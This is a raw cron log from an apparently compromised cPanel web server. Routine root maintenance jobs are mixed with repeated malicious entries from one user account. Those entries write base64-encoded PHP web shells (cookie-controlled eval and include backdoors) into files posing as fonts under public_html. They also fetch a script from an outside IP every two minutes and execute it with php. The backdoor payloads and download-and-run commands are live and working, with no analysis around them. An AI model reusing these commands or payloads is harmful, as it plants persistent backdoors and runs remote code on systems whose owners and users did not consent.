Sep  7 20:44:01 ip-184-168-122-23 CROND[16269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:44:01 ip-184-168-122-23 CROND[16271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:45:01 ip-184-168-122-23 CROND[16363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:45:01 ip-184-168-122-23 CROND[16365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:45:01 ip-184-168-122-23 CROND[16366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:45:01 ip-184-168-122-23 CROND[16367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:45:01 ip-184-168-122-23 CROND[16369]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  7 20:45:01 ip-184-168-122-23 CROND[16368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:45:01 ip-184-168-122-23 CROND[16370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:46:02 ip-184-168-122-23 CROND[16472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:46:02 ip-184-168-122-23 CROND[16475]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 20:46:02 ip-184-168-122-23 CROND[16473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:46:02 ip-184-168-122-23 CROND[16474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:46:02 ip-184-168-122-23 CROND[16476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:46:02 ip-184-168-122-23 CROND[16477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:46:02 ip-184-168-122-23 CROND[16478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:47:01 ip-184-168-122-23 CROND[16579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:47:01 ip-184-168-122-23 CROND[16577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:47:01 ip-184-168-122-23 CROND[16578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:47:01 ip-184-168-122-23 CROND[16576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:48:01 ip-184-168-122-23 CROND[16667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:48:01 ip-184-168-122-23 CROND[16671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:48:01 ip-184-168-122-23 CROND[16672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:48:01 ip-184-168-122-23 CROND[16670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:48:01 ip-184-168-122-23 CROND[16669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:49:01 ip-184-168-122-23 CROND[16776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:49:01 ip-184-168-122-23 CROND[16778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:49:01 ip-184-168-122-23 CROND[16779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:49:01 ip-184-168-122-23 CROND[16781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:50:01 ip-184-168-122-23 CROND[16987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:50:01 ip-184-168-122-23 CROND[16990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:50:01 ip-184-168-122-23 CROND[16998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:51:01 ip-184-168-122-23 CROND[17099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:51:01 ip-184-168-122-23 CROND[17100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:51:01 ip-184-168-122-23 CROND[17102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:51:01 ip-184-168-122-23 CROND[17101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:52:01 ip-184-168-122-23 CROND[17211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:52:01 ip-184-168-122-23 CROND[17213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:52:01 ip-184-168-122-23 CROND[17215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:52:01 ip-184-168-122-23 CROND[17217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:52:01 ip-184-168-122-23 CROND[17214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:53:01 ip-184-168-122-23 CROND[17309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:53:01 ip-184-168-122-23 CROND[17310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:53:01 ip-184-168-122-23 CROND[17311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:53:01 ip-184-168-122-23 CROND[17312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:54:01 ip-184-168-122-23 CROND[17407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:54:01 ip-184-168-122-23 CROND[17409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:54:01 ip-184-168-122-23 CROND[17411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:54:01 ip-184-168-122-23 CROND[17412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:54:01 ip-184-168-122-23 CROND[17410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:55:01 ip-184-168-122-23 CROND[17599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:55:01 ip-184-168-122-23 CROND[17601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:55:01 ip-184-168-122-23 CROND[17600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:55:01 ip-184-168-122-23 CROND[17603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:55:01 ip-184-168-122-23 CROND[17604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:55:01 ip-184-168-122-23 CROND[17602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:56:01 ip-184-168-122-23 CROND[17687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:56:01 ip-184-168-122-23 CROND[17689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:56:01 ip-184-168-122-23 CROND[17691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
